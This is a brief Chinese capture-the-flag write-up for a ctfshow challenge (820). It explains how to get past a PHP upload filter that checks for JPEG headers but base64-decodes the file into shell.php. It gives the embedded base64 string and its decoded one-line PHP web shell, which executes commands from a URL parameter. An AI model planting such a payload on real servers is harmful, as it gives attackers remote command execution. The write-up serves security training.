ctfshow820(精心构造带马正常图片)
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);
if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}
}
$filetype=="image/jpeg"是检测的Content-Type:类型;
$ef!=false保证了图片的一些属性必须要有;(细看getimagesize函数)
$ef['mime']=='image/jpeg'检测的文件头。
在php的base64_decode中,会只对合法字符合并后解码(4个字符为1组),非法字符会直接丢弃,不参与整体的base64解码。
//64个字符
a-zA-Z0-9/+
构造如下:(感谢群主大大)
构造完成的图片中,前几个可读字符串是:
PD89YCRfR0VUWzFdYDs7Pz4C
base64解码后
<?=`$_GET[1]`;;?>
总结:慢慢造图呗。
不太会在这放上原图链接, 有需要的自己比照着搞一个吧,或者我上传到群文件。